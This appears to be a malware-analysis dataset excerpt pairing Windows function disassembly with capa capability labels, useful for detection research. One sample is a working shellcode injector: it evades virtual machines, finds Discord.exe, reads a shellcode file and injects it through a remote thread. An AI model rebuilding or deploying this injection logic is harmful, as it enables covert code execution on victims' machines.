joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000709b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x180006bba
rol rcx, 0x10
test cx, 0xffff
jne 0x180006bb6
repz ret
ror rcx, 0x10
jmp 0x180006ff4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000be50]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x18000bf48]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180007079
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000be50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000709b
mov rax, qword [rsp + 0x88]
mov qword [0x18000bf48], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000bee8], rax
mov rax, qword [0x18000bf48]
mov qword [0x18000bdc0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000bed0], rax
mov dword [0x18000bdb0], 0xc0000409
mov dword [0x18000bdb4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000a008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000be48], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180008330]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000be48], 0
jne 0x180007122
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00405620]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00405630]
mov dword [rax], 1
mov rax, qword [0x00405640]
mov dword [rax], 1
mov rax, qword [0x00405610]
mov dword [rax], 1
mov rax, qword [0x00405500]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00405600]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004055c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x004054b0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x4015fc
Capabilities:
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x10]
cmp eax, 1
jne 0x401623
mov eax, 1
jmp 0x401659
lea rcx, str.VBoxMouse
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
test rax, rax
jne 0x40164d
lea rcx, str.vmmouse
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
test rax, rax
je 0x401654
mov eax, 1
jmp 0x401659
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x401763
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 1
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, qword [rbp + 0x10]
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x401850
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x40185c
lea rcx, str.Error_creating_process.
call sym.puts
nop
add rsp, 0xe0
pop rbp
ret
Function at 0x401866
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
lea rdx, [0x0040502a]
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x401979
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.ftell
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0xc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
call dbg.perform_security_checks
mov eax, dword [rbp - 0xc]
cdqe
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x40194c
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
jmp 0x40197a
mov eax, dword [rbp - 0xc]
movsxd rcx, eax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x20]
call rax
jmp 0x40197a
nop
add rsp, 0x40
pop rbp
ret

Function at 0x401980
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call dbg.get_exclusion_folder_path
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
jne 0x4019c9
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
je 0x401a37
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
jne 0x401a07
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1a
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
test eax, eax
jns 0x401a3a
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
jne 0x401a3b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
je 0x401a3b
mov ecx, 1
call sym.exit
nop
jmp 0x401a3b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x401a41
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x401a89
mov eax, 0
jmp 0x401afe
mov dword [rbp - 0x60], 0x130
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sym.Process32First
test eax, eax
je 0x401ae5
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401ace
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xdc], eax
jmp 0x401ae5
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sym.Process32Next
test eax, eax
jne 0x401aa7
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x401b07
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov r8d, dword [rbp + 0x10]
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401b4d
lea rcx, str.Failed_to_open_process
call sym.puts
jmp 0x401cbe
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x401ba3
lea rcx, str.Failed_to_allocate_memory_in_target_process
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401cbe
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x401c13
lea rcx, str.Failed_to_write_shellcode_to_memory
call sym.puts
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401cbe
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x401c68
lea rcx, str.Failed_to_create_remote_thread
call sym.puts
jmp 0x401c8d
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x60
pop rbp
ret
Function at 0x401cc4
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
lea rdx, [0x0040502a]
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401d04
lea rcx, str.Failed_to_open_shellcode_file
call sym.puts
jmp 0x401d92
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.ftell
cdqe
mov rdx, qword [rbp + 0x20]
mov qword [rdx], rax
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
mov rcx, rax
call sym.malloc
mov rdx, rax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
mov rcx, qword [rbp - 8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x30
pop rbp
ret

Function at 0x401d98
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, str.Discord.exe
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call dbg.find_target_process
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
jne 0x401def
lea rcx, str.Target_process_not_found
call sym.puts
mov eax, 1
jmp 0x401ef4
mov edx, dword [rbp + 0x1c4]
mov rax, qword [rbp + 0x1c8]
mov r8d, edx
mov rdx, rax
lea rcx, str.Found_target_process:__s__PID:__lu__n
call sym.printf
lea rax, [rbp + 0xc0]
mov rdx, rax
lea rcx, str.Folder_path:__s_n
call sym.printf
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._sCP.bin
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.Attempting_to_read_shellcode_from:__s_n
call sym.printf
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
jne 0x401e88
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.Shellcode_file_does_not_exist:__s_n
call sym.printf
mov eax, 1
jmp 0x401ef4
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x58]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call dbg.read_shellcode_from_file
mov rax, qword [rbp - 0x58]
test rax, rax
jne 0x401ecb
lea rcx, str.Failed_to_read_the_shellcode_file.
call sym.puts
mov eax, 1
jmp 0x401ef4
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
mov eax, dword [rbp + 0x1c4]
mov r8, rcx
mov ecx, eax
call dbg.inject_shellcode
mov rax, qword [rbp - 0x58]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x250
pop rbp
ret
Function at 0x402420
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4025a8
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40246c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4024f5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402450
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4025dd
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4025c0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4024ee
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402550
add dword [0x00408624], 1
cmp edi, 8
jae 0x402523
test dil, 4
jne 0x402594
test edi, edi
je 0x402518
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4025af
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402518
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40253c
jmp 0x402518
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4024ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402518
xor esi, esi
jmp 0x402477
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402518
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402d30
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402d84
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402d7b
test rsi, rsi
je 0x402d7b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402d60
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402fc0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402fd0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402fe0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403021
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403018
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x403023
add rax, 0x28
cmp rax, r9
jne 0x403004
xor eax, eax
ret

Function at 0x4030c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405500]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40312d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40312d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40312d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403124
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40312f
add rax, 0x28
cmp rax, r9
jne 0x403110
xor eax, eax
add rsp, 0x28
ret

Function at 0x403230
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405500]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403250
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403248
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4032ad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4032a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4032b4
add rax, 0x28
cmp rax, r9
jne 0x403290
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4032d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00405500]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40333e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40333e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40333e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40333e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403335
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403345
add rcx, 0x28
cmp rcx, rax
jne 0x403320
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403358
jmp 0x40333e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403366
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40333e
test r9d, r9d
jg 0x403350
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x408050
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
cmp byte [0x008be0a8], 0
je 0x40810b
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rdi, rax
mov rcx, rsi
call fcn.0040efa0
mov rcx, rdi
mov rdx, rsi
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, qword [0x008900c0]
call fcn.0040efa0
mov rcx, rsi
mov rdx, qword [0x008900c0]
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, rbx
call fcn.0040efa0
mov rcx, rsi
mov rdx, rbx
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
jmp 0x40811f
xor ecx, ecx
mov rdx, rbx
mov r8, rsi
mov r9d, 0x2010
call sub.user32.dll_MessageBoxA
lea rsp, [rbp + 0x48]
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x40c4b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
push r14
push r13
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov ebx, edx
mov rax, qword [rbp + 0x28]
mov r13d, dword [rax + 0x18]
mov rcx, qword [rbp + 0x28]
call fcn.0040caf0
mov esi, eax
test sil, sil
jne 0x40c666
test ebx, ebx
je 0x40c666
xor edi, edi
test r13d, r13d
jle 0x40c592
call sub.kernel32.dll_GetTickCount
mov r14d, eax
mov dword [rbp + 0x3c], 0
test r13d, r13d
jle 0x40c576
cmp ebx, 0xffffffff
je 0x40c523
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jb 0x40c523
xor esi, esi
jmp 0x40c666
mov rax, qword [rbp + 0x28]
cmp dword [rax], 1
jg 0x40c576
mov rax, qword [rbp + 0x28]
cmp dword [rax], 0
jne 0x40c564
xor eax, eax
mov ecx, 1
mov rdx, qword [rbp + 0x28]
lock cmpxchg dword [rdx], ecx
test eax, eax
jne 0x40c564
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rbp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov sil, 1
jmp 0x40c666
lea rcx, [rbp + 0x3c]
call fcn.0040c050
sub r13d, 1
test r13d, r13d
jg 0x40c50a
nop
cmp ebx, 0xffffffff
je 0x40c592
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jb 0x40c590
xor esi, esi
jmp 0x40c666
sub ebx, eax
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax]
test ecx, ecx
je 0x40c4cd
mov edx, ecx
add edx, 2
mov eax, ecx
mov r8, qword [rbp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40c592
nop
call sub.kernel32.dll_GetTickCount
mov r14d, eax
mov rcx, qword [rbp + 0x28]
call fcn.0040c710
xor ecx, ecx
mov rdx, rax
mov r8d, ebx
mov rax, qword [0x008be9a0]
call qword [rax + 0x20]
test eax, eax
sete sil
cmp ebx, 0xffffffff
je 0x40c5f5
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jae 0x40c5f3
sub ebx, eax
jmp 0x40c5f5
xor ebx, ebx
test sil, sil
je 0x40c627
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax]
mov eax, ecx
test eax, 1
jne 0x40c624
mov edx, ecx
sub edx, 2
or edx, 1
mov eax, ecx
mov r8, qword [rbp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40c5fa
mov dil, 1
nop
jmp 0x40c644
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax]
mov edx, ecx
sub edx, 2
mov eax, ecx
mov r8, qword [rbp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40c627
mov dil, 1
test dil, dil
je 0x40c5b5
nop
test sil, sil
je 0x40c666
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rbp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov eax, esi
lea rsp, [rbp + 0x48]
pop rbx
pop rsi
pop rdi
pop r13
pop r14
pop rbp
ret